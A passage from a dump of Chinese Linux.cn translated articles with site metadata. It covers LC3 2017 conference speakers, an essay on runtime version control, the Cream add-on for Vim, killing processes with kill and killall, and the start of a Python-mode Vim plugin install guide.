| 2017-05-25T15:27:00 | 2017-05-25T15:27:00 | 8,538 |
/article-8538-1.html
|
传说中的 LC3（LinuxCon + ContainerCon + CloudOpen）大会，将于今年 6 月 19 至 20 日在北京上演中国首秀。
Linux 中国（<https://linux.cn/>）作为本次 LC3 大会的推广合作伙伴，将全程跟踪报道本次 LC3 大会的最新消息和花絮动态。
据官方消息称，此次大会可谓众星云集，演讲嘉宾都是业内最顶尖的开源领袖，其中半数以上的嘉宾都来自海外，比如 Linux 界两位风云级的大神 Linus Torvalds 和 Greg Kroah-Hartman、华为平台首席架构师熊英、谷歌 Kubernetes 技术负责人 David Oppenheimer、OpenStack 基金会的 Jonathan Bryce 等等。**值得一提的是，这也是 Linux 创始人 Linus Torvalds 首次访华！**
下面我来为大家介绍几位参加本次大会的开源领袖：
### Linus Torvalds ——Linux 和 Git 的创始人
Linus Torvalds 先生创建了 Linux 内核，并负责领导广泛使用的 Linux 操作系统的开源开发，被称为“Linux 之父”。他至今仍然是将新代码纳入标准 Linux 内核的最终权威。
Linus Torvalds 于 1991 年研发出 Linux 内核。随后他与志愿者组建了团队，并于 1994 年春季发布了 V1.0 版内核。1996 年，Linus Torvalds 加入 Transmeta，同时继续负责 Linux 的内核开发。2003 年，Linus Torvalds 离开 Transmeta，在开源开发实验室（OSDL）的支持下，他专注于 Linux 内核的研发。开源开发实验室与自由标准组织（Free Standards Group）在 2007 年合并成立新机构“[Linux 基金会](https://www.linuxfoundation.org/)”。
Linus Torvalds 还是著名的分布式版本控制系统 Git 的发明人。Git 现在已经广泛地应用于开源软件和软件产业的开发中，风靡开源界的 GitHub，以及 GitLab 都是以 Git 作为底层的版本控制系统而打造的。
Linus Torvalds 不仅仅享誉于开源界，而且以率真敏锐、观点鲜明而著称。本次来中国参加 LC3 是 Linus Torvalds 首次来华访问，在本次大会上，Linus Torvalds 将与 VMWare 的首席开源官 Dirk Hohndel 展开对话，大家該也很期待!
### Greg Kroah-Hartman——Linux 内核主要维护人
Greg Kroah-Hartman 是在内核级别维护 Linux 的核心开发人员之一。他在 Linux 基金会担任 Linux 基础研究员的角色, 他一直在做 Linux内核稳定分支（-stable）和包括 staging、USB、sysfs 等多个子系统的维护。
在 2012 年 2 月以前，他在 Novell 的 SUSE Labs工作，而后效力于 Linux 基金会，全心致力于 Linux 驱动程序项目。
Greg 在本次大会上将向我们分享 Linux 内核是如何开发的，整个机制是如何运作的。
### 李三琦**——华为产品与解决方案首席技术官**
李三琦博士现任华为产品与解决方案首席技术官。在此之前，他曾担任华为运营商 BG 首席技术官、IT 产品线和核心网产品线首席技术官以及数据中心和媒体网络BU总裁。
他曾创办过多家高科技公司，如中国的高鸿电讯科技有限公司（2000 年被大唐电信集团收购）和美国的 Santera Systems 公司（2003 年被 Tekelec 收购）。他还重组了 Santera Softswitch，成立了 Spatial Wireless 公司（于 2004 年被 Alcatel 收购）。在 2003 至 2007 年间，他担任 Tekelec 首席技术官。在他杰出的职业生涯中，李三琦曾为思科、AT＆T、Verizon、KT 和三星等公司提供技术咨询服务，并在数家高科技创业公司的咨询委员会任职。
李三琦博士拥有 25 项专利，在国际学术期刊和顶级国际会议论文集上发表论文 160 多篇, 并担任过 20 多个博士生的导师。
### 熊英——华为云平台首席架构师
熊英博士现任华为云平台首席架构师，目前主要负责云平台即服务（PaaS）的架构、策略和设计。他在云架构和设计、电子商务以及企业IT系统方面拥有 20 多年的经验。
在加入华为之前，他在微软工作了 8 年，担任 Azure 和 SQL Azure 云平台首席架构师和开发经理。他还在 AT＆T 工作了十多年，担任企业技术架构师和开发经理。
### David Oppenheimer——谷歌 Kubernetes 技术负责人
David Oppenheimer 先生现任谷歌 Kubernetes 技术负责人。在加入 Kubernetes 团队之前，他任职于谷歌 Borg 和 Omega 集群管理系统。
他在本次大会上的演讲主题是 Kubernetes 的资源管理与调度，作为最近发展非常迅速的 K8S 技术的主要负责人之一，David 将以最权威的角度为我们阐述如何有效地分配共享资源（CPU、内存等），以达到更高效的资源利用，并在共享集群中强化隔离。本次讲演也将讨论最新发布的 K8S 1.6 上的新功能，包括容器的细粒度控制，以及如何使用它们来达成策略目标等，最后还将介绍K8S将来的版本发展方向。
### 申元庆——微软亚太科技有限公司董事长
申元庆先生现任微软亚太科技有限公司董事长、微软亚太研发集团首席运营官、微软中国云计算与企业事业部总经理。申元庆及其团队主导大数据、物联网和开发工具的发展战略，以提升微软智能云的客户体验，为中国客户和合作伙伴提供云迁移领域的全面支持。
在微软工作的 20 多年里，申元庆在微软的研发、销售和市场领域担任过多项管理职务。他早期还在微软先进技术中心（ATC）、微软中国创新集团、医疗解决方案集团（HSG）和战略合作集团（SPG）担任过管理职务。加入微软之前，他在IDT工作。他目前还在多家高科技公司担任董事会成员。
### **唐雄燕**——中国联通网络技术研究院首席技术专家
唐雄燕博士现任中国联通网络技术研究院首席技术专家，以及中国通信标准化协会（CCSA）副主席。他在通信技术领域拥有 20 多年的经验。1994 至 1997 年间，他在新加坡和德国进行高速光通信研究。1998 年以来，他一直从事中国电信运营商的技术管理工作。
他的专业领域包括宽带通信、光学和 IP 网络，新一代网络和物联网。近年来，他主要负责中国联通的SDN/NFV项目。
### 唐洪——阿里云首席架构师
唐洪博士现任阿里云首席架构师。他于 2010 年加入阿里云，并在推动阿里云的大型计算引擎 Apsara 的发展中发挥了重要作用。
在加入阿里云之前，他担任第四大搜索引擎公司 Ask.com 的搜索系统基础设施总监。2008 年，他加入雅虎云计算团队并担任资深首席工程师，负责推动 Hadoop 的研发。唐洪博士在高性能计算并行系统、基于集群的分布式计算和存储系统、大型互联网服务和云计算等方面拥有 19 年的研发和行业经验。
### **Dirk Hohndel**——VMware 副总裁兼首席开源官
Dirk Hohndel 先生现任 VMware 首席开源官，负责领导公司的开源项目和战略制定，推动企业创建共同的价值观和流程，以实现 VMware 与开源社区的互动。
在加入 VMware 之前，Dirk 在英特尔工作近 15 年，担任首席 Linux 和开源技术专家，带领英特尔开源业务的发展。在此之前，他曾任德意志银行 SuSE 和 Unix 架构首席技术官。自 20 世纪 90 年代初以来，Dirk 一直是 Linux 和开放源代码的积极开发者和贡献者。作为早期的 Linux 内核开发人员之一，Dirk 多年来致力于 10 多个开源项目。
### Jonathan Bryce——OpenStack 基金会执行董事
Jonathan Bryce 先生现任 OpenStack 基金会执行董事，此前他是 Rackspace Cloud 的创始人。
他一直为构建云而努力。早期担任过 Rackspace 的开发人员，与同事 Todd Morey 一起研究如何搭建一个网络托管环境，能让用户和企业都可以设计、开发和部署他们理想的网站，而所有这些都无需采购技术，操作简便。后来这一设想演变成 Rackspace Cloud。 自此，Bryce 成为 OpenStack 这一开源云软件项目的重要推动力量。从那时起，他一直是首创开源云软件 OpenStack 的主力军。
### Dirk-Peter van Leeuwen——红帽高级副总裁兼亚太区总经理
Dirk-Peter van Leeuwen 先生现任红帽高级副总裁兼亚太区总经理，负责拓展红帽的市场布局，管理红帽在亚太区的所有销售、市场和服务。自 2009 年 9 月到新加坡就任以来，他作为亚太区负责人，使红帽的营收增加了两倍，亚太区至今仍被视为红帽发展最快的地区。
红帽是基于开放源码的商业IT产品和解决方案首屈一指的提供商。
我们因何而聚？这一切都从一个操作系统、一个社区和一个红帽人开始的。 当然，操作系统是 Linux，这是许多人在这里的原因。但是，这个项目的真正明星不是某个人甚至不是红帽，而是一个不断地验证新想法并且改进它们的社区。开源社区为我们带来了改变世界的技术：互联网，云计算，容器等。
他在本次大会上将为我们分享《红帽和开源的力量》。
### Dave Ward——思科系统工程首席技术官兼首席架构师
Dave Ward 先生现任思科系统工程首席技术官兼首席架构师，负责思科的新技术研发。他还担任过思科 IOS-XR 软件首席架构师，凭借在路由、系统软件和网络设计方面的专业知识而备受业内认可。
### **杨志强**——中国移动研究院副院长
杨志强女士现任中国移动研究院副院长，教授级高级工程师，享受国务院政府特殊津贴。
杨志强在通信网络设计、开发和管理方面拥有 30 多年的经验。近年来，她负责核心网研究与规划、大数据与信息安全等领域，率领并完成了中国移动的关键网络战略项目，如中国移动 4G 核心网络试验，基于 TD-LTE 的 VOLTE 网络和面向SDN/NFV的核心网（Novonet）演进。她还带领团队开发和部署了一系列大数据和信息安全产品。
### Jim Zemlin——Linux 基金会执行董事
Jim Zemlin 先生的职业生涯见证了过去十年间的三大技术趋势：移动计算、云计算和开源软件。如今，作为 Linux 基金会执行董事，他凭借丰富经验，推动通过使用开源和 Linux 来加快技术创新。
### 更多讲演人
本次大会将有上百位嘉宾为我们带来近百场从主题演讲到分组讨论的精彩分享，内容涉及开源、Linux、云计算、容器等等最新前沿技术。在近百场的 LC3 会议中, 谁是你最想见的开源领袖呢？关注及对本文评论即有机会获取购票折扣优惠！
有关更多 LC3 会议的详情，请关注 LF Events 官微：
5 月 28 日之前[报名参会](http://www.bagevent.com/event/561769)尚有最后的门票优惠！
（题图素材来自： Pixabay，CC0）
|
||||
一位老极客的眼中的开发和部署
|
Robert M. Lefkowitz
|
https://opensource.com/article/17/1/difference-between-development-deployment
|
多年前，我曾是一名 Smalltalk 程序员，这种经验让我以一种不同的视角来观察编程的世界，例如，需要花时间来适应源代码应该存储在文本文件中的这种做法。
|
/data/attachment/album/201705/25/130756prvhp3r3pt6pmbpy.jpg.thumb.jpg
|
/data/attachment/album/201705/25/130756prvhp3r3pt6pmbpy.jpg
| true | false | true |
geekpi
| false |
[
"编程",
"开发",
"部署",
"Smalltalk"
] |
观点
|
{
"viewnum": 4902,
"commentnum": 0,
"favtimes": 0,
"sharetimes": 0,
"likes": 0
}
|
[] |
[] |
多年前，我曾是一名 Smalltalk 程序员，这种经验让我以一种不同的视角来观察编程的世界，例如，需要花时间来适应源代码应该存储在文本文件中的这种做法。
| 2017-05-25T13:08:00 | 2017-05-25T13:08:00 | 8,539 |
/article-8539-1.html
|
多年前，我曾是一名 Smalltalk 程序员，这种经验让我以一种不同的视角来观察编程的世界，例如，需要花时间来适应源代码应该存储在文本文件中的这种做法。
我们作为程序员通常会区分“开发”和“部署”，特别是我们在开发的地方所使用的工具不同于我们在之后部署软件时的地点和工具时。而在 Smalltalk 世界里，没有这样的区别。
Smalltalk 构建于虚拟机包含了你的开发环境（IDE、调试器、文本编辑器、版本控制等）的思路之上，如果你需要修改任何一处代码，你得修改内存中运行副本。如果需要的话，你可以为运行中的机器做个快照；如果你想分发你的代码，你可以发送一个运行中的机器的镜像副本（包括 IDE、调试器、文本编辑器、版本控制等）给用户。这就是上世纪 90 年代软件开发的方式（对我们中的一些人来说）。
如今，部署环境与开发环境有了很大的不同。起初，你不要期望那里（指部署环境）有任何开发工具。一旦部署，就没有版本控制、没有调试、没有开发环境。有的是记录和监视，这些在我们的开发环境中都没有，而有一个“构建管道”，它将我们的软件从开发形式转换为部署形式。作为一个例证，Docker 容器则试图重新找回上世纪 90 年代 Smalltalk 程序员部署体验的那种简单性，而避免同样的开发体验。
我想如果 Smalltalk 世界是我唯一的编程方面的体验，让我无法区分开发和部署环境，我可能会偶尔回顾一下它。但是在我成为一名 Smalltalk 程序员之前，我还是一位 APL 程序员，这也是一个可修改的虚拟机镜像的世界，其中开发和部署是无法区分的。因此，我相信，在当前的时代，人们编辑单独的源代码文件，然后运行构建管道以创建在编辑代码时尚不存在的部署作品，然后将这些作品部署给用户。我们已经以某种方式将这种反模式的软件开发制度化，而不断发展的软件环境的需求正在迫使我们找回到上世纪 90 年代的更有效的技术方法。因此才会有 Docker 的成功，所以，我需要提出我的建议。
我有两个建议：我们在运行时系统中实现（并使用）版本控制，以及，我们通过更改运行中的系统来开发软件，而不是用新的运行系统替换它们。这两个想法是相关的。为了安全地更改正在运行的系统，我们需要一些版本控制功能来支持“撤消”功能。也许公平地说，我只提出了一个建议。让我举例来说明。
让我们开始假设一个静态网站。你要修改一些 HTML 文件。你应该如何工作？如果你像大多数开发者一样，你会有两个，也许三个网站 - 一个用于开发，一个用于 QA（或者预发布），一个用于生产。你将直接编辑开发实例中的文件。准备就绪后，你将把你的修改“部署”到预发布实例。在用户验收测试之后，你将再次部署，这次是生产环境。
使用 Occam 的 Razor，让我们可以避免不必要地创建实例。我们需要多少台机器？我们可以使用一台电脑。我们需要多少台 web 服务器？我们可以使用具有多个虚拟主机的单台 web 服务器。如果不使用多个虚拟主机的话，我们可以只使用单个虚拟主机吗？那么我们就需要多个目录，并需要使用 URL 的顶级路径来区分不同的版本，而不是虚拟主机名。但是为什么我们需要多个目录？因为 web 服务器将从文件系统中提供静态文件。我们的问题是，目录有三个不同的版本，我们的解决方案是创建目录的三个不同的副本。这不是正是 Subversion 和 Git 这样的版本控制系统解决的问题吗？制作目录的多个副本以存储多个版本的策略回到了版本控制 CVS 之前的日子。为什么不使用比如说一个空的的 Git 仓库来存储文件呢？要这样做，web 服务器将需要能够从 git 仓库读取文件（参见 [mod\_git](https://github.com/r0ml/mod_git)）。
这将是一个支持版本控制的运行时系统。
使用这样的 web 服务器，使用的版本可以由 cookie 来标识。这样，任何人都可以推送到仓库，用户将继续看到他们发起会话时所分配的版本。版本控制系统有不可改变的提交； 一旦会话开始，开发人员可以在不影响正在运行的用户的情况下快速推送更改。开发人员可以重置其会话以跟踪他们的新提交，因此开发人员或测试人员就可能如普通用户一样查看在同台服务器上同一个 URL 上正在开发或正在测试的版本。作为偶然的副作用，A/B 测试仅仅是将不同的用户分配给不同的提交的情况。所有用于管理多个版本的 git 设施都可以在运行环境中发挥作用。当然，git reset 为我们提供了前面提到的“撤销”功能。
为什么不是每个人都这样做？
一种可能性是，诸如版本控制系统的工具没有被设计为在生产环境中使用。例如，给某人推送到测试分支而不是生产分支的许可是不可能的。对这个方案最常见的反对是，如果发现了一个漏洞，你会想要将某些提交标记为不可访问。这将是另一种更细粒度的权限的情况；开发人员将具有对所有提交的读取权限，但外部用户不会。我们可能需要对现有工具进行一些额外的改造以支持这种模式，但是这些功能很容易理解，并已被设计到其他软件中。例如，Linux （或 PostgreSQL）实现了对不同用户的细粒度权限的想法。
随着云环境变得越来越普及，这些想法变得更加相关：云总是在运行。例如，我们可以看到，AWS 中等价的 “文件系统”（S3）实现了版本控制，所以你可能有一个不同的想法，使用一台 web 服务器提供来自 S3 的资源文件，并根据会话信息选择不同版本的资源文件。重要的并不是哪个实现是最好的，而是支持这种运行时版本控制的愿景。
部署的软件环境应该是“版本感知”的原则，应该扩展到除了服务静态文件的 web 服务器之外的其他工具。在将来的文章中，我将介绍版本库，数据库和应用程序服务器的方法。
---
作者简介：
Robert M. Lefkowitz - Robert（即 r0ml）是一个喜欢复杂编程语言的编程语言爱好者。 他是一个提高清晰度、提高可靠性和最大限度地简化的编程技术收藏家。他通过让计算机更加容易获得来使它普及化。他经常演讲中世纪晚期和早期文艺复兴对编程艺术的影响。
---
via: <https://opensource.com/article/17/1/difference-between-development-deployment>
作者：[Robert M. Lefkowitz](https://opensource.com/users/r0ml) 译者：[geekpi](https://github.com/geekpi) 校对：[Bestony](https://github.com/Bestony)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译，[Linux中国](https://linux.cn/) 荣誉推出
|
||
如何使用 Cream 提高 Vim 的用户友好性
|
Scott Nesbitt
|
https://opensource.com/article/17/5/stir-bit-cream-make-vim-friendlier
|
当我把 Cream 介绍给一些 Linux 新手交流以后，他们的失望就变成了满意。
|
/data/attachment/album/201705/25/161055s6ewwhospwflorv6.png.thumb.jpg
|
/data/attachment/album/201705/25/161055s6ewwhospwflorv6.png
| true | false | true |
ucasFL
| false |
[
"Vim",
"Cream"
] |
桌面应用
|
{
"viewnum": 6317,
"commentnum": 0,
"favtimes": 0,
"sharetimes": 0,
"likes": 0
}
|
[] |
[] |
当我把 Cream 介绍给一些 Linux 新手交流以后，他们的失望就变成了满意。
| 2017-05-25T16:10:51 | 2017-05-25T16:10:51 | 8,540 |
/article-8540-1.html
|
>
> Cream 附加包通过把一个更加熟悉的“面孔”置于 Vim 文本编辑器之上，同时保留 Vim 的功能，使其更加容易使用
>
>
>
大约 10 年前，我既使用 Emacs 进行文本编辑，也使用 Vim 进行文本编辑。说到底，我的确是一个热衷于 Emacs 的家伙。尽管 Emacs 在我的心里占据了很重要的地位，但我知道， Vim 也不赖。
一些人，或者像我一样的人，在技术方面有些笨手笨脚。多年来，我和一些 Linux 新手交流，了解到他们想使用 Vim，但是却失望的发现， Vim 编辑器和他们在其它操作系统上使用过的编辑器不一样。
但是，当我把 Cream 介绍给他们以后，他们的失望就变成了满意。Cream 是 Vim 的一个附加包，它使得 Vim 更加容易使用。Cream 让这些 Linux 新手变成了 Vim 的坚决拥护者和忠心用户。
让我们来看一看 Cream 是什么以及它是如何让 Vim 变得更加容易使用的。
### Cream 的安装
在安装 Cream 之前，你需要先在你的电脑上安装好 Vim 和 GVim 的 GUI 组件。我发现最容易完成这件事的方法是使用 Linux 版本的包管理器。
安装好 Vim 以后，便可[下载 Cream 的安装程序](http://cream.sourceforge.net/download.html)，或者你也可以再次使用 Linux 发行版的包管理器进行安装。
安装好 Cream 以后，你可以从应用菜单选择它（比如，**Applications**->**Cream**）或者在程序启动器中输入 `Cream`，从而启动 Cream 。
### Cream 的使用
如果你之前已经使用过 Gvim，那么你会注意到， Cream 几乎没改变该编辑器的外观和感觉。最大的不同是 Cream 的菜单栏和工具栏，它们取代了 Gvim 陈旧的菜单栏和工具栏，新的菜单栏和工具栏的外观和功能分组看起来和其它编辑器的一样。
Cream 的菜单栏对用户隐藏了更多的技术选项，比如指定一个编译器的能力，以及运行 `make` 命令的能力。当你通过使用 Cream 更加熟悉 Vim 以后，你只需要从 **Setting**->**Preferences**->**Behavior** 选择选项，就可以更容易地访问这些特性。有了这些选项，你可以（如果你想）体验到一个兼有 Cream 和传统 Vim 二者优点的强大编辑器。
Cream 并不是仅由菜单驱动。尽管编辑器的功能仅有单击或双击两种方式，但是你也可以使用常见的键盘快捷键来执行操作，比如 `CTRL-O`（打开一个文件），`CTRL-C`（复制文本）。你不需要在几种模式之间切换，也不需要记住一些很难记住的命令。
Cream 开始运行以后，打开一个文件，或者新建一个文件，然后就可以开始输入了。几个我向他们介绍过 Cream 的人说，虽然 Cream 保留了 Vim 的许多典型风格，但是 Cream 使用起来更加舒服。
并不是说 Cream 是 Vim 的简化版，远远不是。事实上， Cream 保留了 Vim 的全部特性，同时，它还有[一系列其他有用的特性](http://cream.sourceforge.net/featurelist.html)。我发现的 Cream 的一些有用的特性包括：
* 一个标签式界面
* 语法高亮（特别是针对 Markdown、LaTeX 和 HTML）
* 自动修正拼写错误
* 字数统计
* 内建文件浏览器
Cream 本身也有许多附加包，可以给编辑器增加一些新的特性。这些特性包括文本加密、清理电子邮件内容，甚至还有一个使用教程。老实说，我还没有发现哪一个附加包是真正有用的，不过你的感受可能会有所不同。
我曾听过一些 Vi/Vim 的狂热分子谴责 Cream “降低”（这是他们的原话）了 Vi/Vim 编辑器的水准。的确，Cream 并不是为他们设计的。它是为那些想快速使用 Vim ，同时保留他们曾经使用过的编辑器的外观和感觉的人准备的。在这种情况下， Cream 是值得赞赏的，它使得 Vim 更加容易使用，更加广泛的被人们使用。
（题图 : opensource.com）
---
via: <https://opensource.com/article/17/5/stir-bit-cream-make-vim-friendlier>
作者：[Scott Nesbitt](https://opensource.com/users/scottnesbitt) 译者：[ucasFL](https://github.com/ucasFL) 校对：[jasminepeng](https://github.com/jasminepeng)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译，[Linux中国](https://linux.cn/) 荣誉推出
|
||
怎样在 Linux 命令行下杀死一个进程
|
Jack Wallen
|
https://www.linux.com/learn/intro-to-linux/2017/5/how-kill-process-command-line
|
Linux 有供用户杀死错误的进程的每个必要的工具，然而，你在执行杀死进程的命令之前，你首先需要知道进程是什么。该如何处理这一类的任务。一旦你能够掌握这种工具，它实际是十分简单的……
|
/data/attachment/album/201705/26/155826panf5kkg8x7jkdgc.jpg.thumb.jpg
|
/data/attachment/album/201705/26/155826panf5kkg8x7jkdgc.jpg
| true | false | true |
hwlog
| false |
[
"进程",
"kill",
"killall"
] |
技术
|
{
"viewnum": 30488,
"commentnum": 3,
"favtimes": 0,
"sharetimes": 0,
"likes": 0
}
|
[
{
"postip": "118.122.120.11",
"message": "kill 依据具体的版本(比如 kill from util-linux 2.28.2) ，支持参数为 processname，而 Ubuntu 带的 kill，则不支持，需要配合 pidof。",
"username": "来自四川成都的 Chrome 58.0|GNU/Linux 用户",
"date": "2017-05-26T16:48:31"
},
{
"postip": "124.160.153.72",
"message": "咦， kill不是procps包的么，啥时候属于util-linux包的呢？？话说我的kill还是个shell-builtin的呢~~",
"username": "来自浙江嘉兴的 Chrome 58.0|GNU/Linux 用户",
"date": "2017-05-26T18:02:52"
},
{
"postip": "182.139.91.28",
"message": "不同发行版，文件所属包不同，正常。显然这是指外部命令。",
"username": "来自四川成都的 Chromium 58.0|Ubuntu 用户",
"date": "2017-05-26T20:03:32"
}
] |
[] |
Linux 有供用户杀死错误的进程的每个必要的工具，然而，你在执行杀死进程的命令之前，你首先需要知道进程是什么。该如何处理这一类的任务。一旦你能够掌握这种工具，它实际是十分简单的……
| 2017-05-26T15:58:23 | 2017-05-26T15:58:23 | 8,541 |
/article-8541-1.html
|
>
> Linux 的命令行里面有用来停止正在运行的进程的所有所需工具。Jack Wallen 将为您讲述细节。
>
>
>
想像一下：你打开了一个程序（可能来自于你的桌面菜单或者命令行），然后开始使用这个程序，没想到程序会锁死、停止运行、或者意外死机。你尝试再次运行该程序，但是它反馈说原来的进程没有完全关闭。
你该怎么办？你要结束进程。但该如何做？不管你信与不信，最好的解决方法大都在命令行里。值得庆幸的是， Linux 有供用户杀死错误的进程的每个必要的工具，然而，你在执行杀死进程的命令之前，你首先需要知道进程是什么。该如何处理这一类的任务。一旦你能够掌握这种工具，它实际是十分简单的……
让我来介绍给你这些工具。
我来概述的步骤是每个 Linux 发行版都能用的，不论是桌面版还是服务器版。我将限定只使用命令行，请打开你的终端开始输入命令吧。
### 定位进程
杀死一个没有响应的进程的第一个步骤是定位这个进程。我用来定位进程的命令有两个：`top` 和 `ps` 命令。`top` 是每个系统管理员都知道的工具，用 `top` 命令，你能够知道到所有当前正在运行的进程有哪些。在命令行里，输入 `top` 命令能够就看到你正在运行的程序进程（图1）
*图 1： top 命令给出你许多的信息。*
从显示的列表中你能够看到相当重要的信息，举个例子，Chrome 浏览器反映迟钝，依据我们的 `top` 命令显示，我们能够辨别的有四个 Chrome 浏览器的进程在运行，进程的 pid 号分别是 3827、3919、10764 和 11679。这个信息是重要的，可以用一个特殊的方法来结束进程。
尽管 `top` 命令很是方便，但也不是得到你所要信息最有效的方法。 你知道你要杀死的 Chrome 进程是那个，并且你也不想看 `top` 命令所显示的实时信息。 鉴于此，你能够使用 `ps` 命令然后用 `grep` 命令来过滤出输出结果。这个 `ps` 命令能够显示出当前进程列表的快照，然后用 `grep` 命令输出匹配的样式。我们通过 `grep` 命令过滤 `ps` 命令的输出的理由很简单：如果你只输入 `ps` 命令，你将会得到当前所有进程的列表快照，而我们需要的是列出 Chrome 浏览器进程相关的。所以这个命令是这个样子：
```
ps aux | grep chrome
```
这里 `aux` 选项如下所示：
* a = 显示所有用户的进程
* u = 显示进程的用户和拥有者
* x = 也显示不依附于终端的进程
当你搜索图形化程序的信息时，这个 `x` 参数是很重要的。
当你输入以上命令的时候，你将会得到比图 2 更多的信息，而且它有时用起来比 `top` 命令更有效。
*图 2：用 ps 命令来定位所需的内容信息。*
### 结束进程
现在我们开始结束进程的任务。我们有两种可以帮我们杀死错误的进程的信息。
* 进程的名字
* 进程的 ID （PID）
你用哪一个将会决定终端命令如何使用，通常有两个命令来结束进程：
* `kill` - 通过进程 ID 来结束进程
* `killall` - 通过进程名字来结束进程
有两个不同的信号能够发送给这两个结束进程的命令。你发送的信号决定着你想要从结束进程命令中得到的结果。举个例子，你可以发送 `HUP`（挂起）信号给结束进程的命令，命令实际上将会重启这个进程。当你需要立即重启一个进程（比如就守护进程来说），这是一个明智的选择。你通过输入 `kill -l` 可以得到所有信号的列表，你将会发现大量的信号。
*图 3： 可用的结束进程信号。*
最经常使用的结束进程的信号是：
| Signal Name | Single Value | Effect |
| --- | --- | --- |
| SIGHUP | 1 | 挂起 |
| SIGINT | 2 | 键盘的中断信号 |
| SIGKILL | 9 | 发出杀死信号 |
| SIGTERM | 15 | 发出终止信号 |
| SIGSTOP | 17, 19, 23 | 停止进程 |
好的是，你能用信号值来代替信号名字。所以你没有必要来记住所有各种各样的信号名字。
所以，让我们现在用 `kill` 命令来杀死 Chrome 浏览器的进程。这个命令的结构是：
```
kill SIGNAL PID
```
这里 SIGNAL 是要发送的信号，PID 是被杀死的进程的 ID。我们已经知道，来自我们的 `ps` 命令显示我们想要结束的进程 ID 号是 3827、3919、10764 和 11679。所以要发送结束进程信号，我们输入以下命令：
```
kill -9 3827
kill -9 3919
kill -9 10764
kill -9 11679
```
一旦我们输入了以上命令，Chrome 浏览器的所有进程将会成功被杀死。
我们有更简单的方法！如果我们已经知道我们想要杀死的那个进程的名字，我们能够利用 `killall` 命令发送同样的信号，像这样：
```
killall -9 chrome
```
附带说明的是，上边这个命令可能不能捕捉到所有正在运行的 Chrome 进程。如果，运行了上边这个命令之后，你输入 `ps aux | grep chrome` 命令过滤一下，看到剩下正在运行的 Chrome 进程有那些，最好的办法还是回到 `kIll` 命令通过进程 ID 来发送信号值 `9` 来结束这个进程。
### 结束进程很容易
正如你看到的，杀死错误的进程并没有你原本想的那样有挑战性。当我让一个顽固的进程结束的时候，我趋向于用 `killall`命令来作为有效的方法来终止，然而，当我让一个真正的活跃的进程结束的时候，`kill`命令是一个好的方法。
---
via: <https://www.linux.com/learn/intro-to-linux/2017/5/how-kill-process-command-line>
作者：[JACK WALLEN](https://www.linux.com/users/jlwallen) 译者：[hwlog](https://github.com/hwlog) 校对：[wxy](https://github.com/wxy)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译，[Linux中国](https://linux.cn/) 荣誉推出
|
||
Python-mode：在 Vim 编辑器中开发 Python 应用的 Vim 插件
|
Aaron Kili
|
https://www.tecmint.com/python-mode-a-vim-editor-plugin/
|
Python-mode 是一个 Vim 插件，它使你能够在 Vim 编辑器中更快的利用包括 pylint、rope、pydoc、pyflakes、pep8、autopep8、pep257 和 mccable 在内的各种库来写 Python 代码，这些库提供了一些编码功能，比如静态分析、特征重构、折叠、补全和文档等。
|
/data/attachment/album/201705/26/162307dc49my9gwrzl1ivv.jpg.thumb.jpg
|
/data/attachment/album/201705/26/162307dc49my9gwrzl1ivv.jpg
| true | false | true |
ucasFL
| false |
[
"Python",
"Vim"
] |
技术
|
{
"viewnum": 12446,
"commentnum": 0,
"favtimes": 3,
"sharetimes": 0,
"likes": 0
}
|
[] |
[
{
"raid": 8467,
"displayorder": 0
}
] |
Python-mode 是一个 Vim 插件，它使你能够在 Vim 编辑器中更快的利用包括 pylint、rope、pydoc、pyflakes、pep8、autopep8、pep257 和 mccable 在内的各种库来写 Python 代码，这些库提供了一些编码功能，比如静态分析、特征重构、折叠、补全和文档等。
| 2017-05-26T16:23:00 | 2017-05-26T16:23:00 | 8,542 |
/article-8542-1.html
|
Python-mode 是一个 Vim 插件，它使你能够在 [Vim 编辑器](https://www.tecmint.com/vi-editor-usage/)中更快的利用包括 pylint、rope、pydoc、pyflakes、pep8、autopep8、pep257 和 mccable 在内的各种库来写 Python 代码，这些库提供了一些编码功能，比如静态分析、特征重构、折叠、补全和文档等。
**推荐阅读：** [如何用 Bash-Support 插件将 Vim 编辑器打造成编写 Bash 脚本的 IDE](/article-8467-1.html)
这个插件包含了所有你在 Vim 编辑器中可以用来开发 Python 应用的特性。
### Python-mode 的特性
它包含下面这些值得一提的特性：
* 支持 Python 2.6+ 至 Python 3.2 版本
* 语法高亮
* 提供 virtualenv 支持
* 支持 Python 式折叠
* 提供增强的 Python 缩进
* 能够在 Vim 中运行 Python 代码
* 能够添加/删除断点
* 支持 Python 代码的快捷移动和操作
* 能够在运行的同时检查代码（pylint、pyflakes、pylama ……）
* 支持自动修复 PEP8 错误
* 允许在 Python 文档中进行搜索
* 支持代码重构
* 支持强代码补全
* 支持定义跳转
在这篇教程中，我将阐述如何在 Linux 中为 Vim 安装设置 Python-mode，从而在 Vim 编辑器中开发 Python 应用。
### 如何在 Linux 系统中为 Vim 安装 Python-mode
首先安装 [Pathogen](https://github.com/tpope/vim-pathogen) （它使得安装插件超级简单，并且运行文件位于私有目录中），从而更加容易的安装 Python-mode
运行下面的命令来获取 `pathogen.vim` 文件和它需要的目录：
```
# mkdir -p ~/.vim/autoload ~/.vim/bundle && \
# curl -LSso ~/.vim/autoload/pathogen.vim https://tpo.pe/pathogen.vim
```
然后把下面这些内容加入 `~/.vimrc` 文件中：
```
execute pathogen#infect()
syntax on
filetype plugin indent on
```
安装好 pathogen 以后，你可以像下面这样把 Python-mode 插件放入 `~/.vim/bunble` 目录中：
```
# cd ~/.vim/bundle
# git clone https://github.com/klen/python-mode.git
```
然后像下面这样在 Vim 中重建 `helptags` ：
```
:helptags
```
你需要启用 `filetype-plugin` （`:help filetype-plugin-on`）和 `filetype-indent` （`:help filetype-indent-on`）来使用 Python-mode 。
### 在 Debian 和 Ubuntu 中安装 Python-mode
另一种在 Debian 和 Ubuntu 中安装 Python-mode 的方法是使用 PPA，就像下面这样
```
$ sudo add-apt-repository https://klen.github.io/python-mode/deb main
$ sudo apt-get update
$ sudo apt-get install vim-python-mode
```
如果你遇到消息：“The following signatures couldn’t be verified because the public key is not available”，请运行下面的命令：
```
$ sudo apt-key adv --keyserver keyserver.ubuntu.com --recv-keys B5DF65307000E266
```
现在，使用 `vim-addon-manager` 启用 Python-mode：
```
$ sudo apt install vim-addon-manager
$ vim-addons install python-mode
```
### 在 Linux 中定制 Python-mode
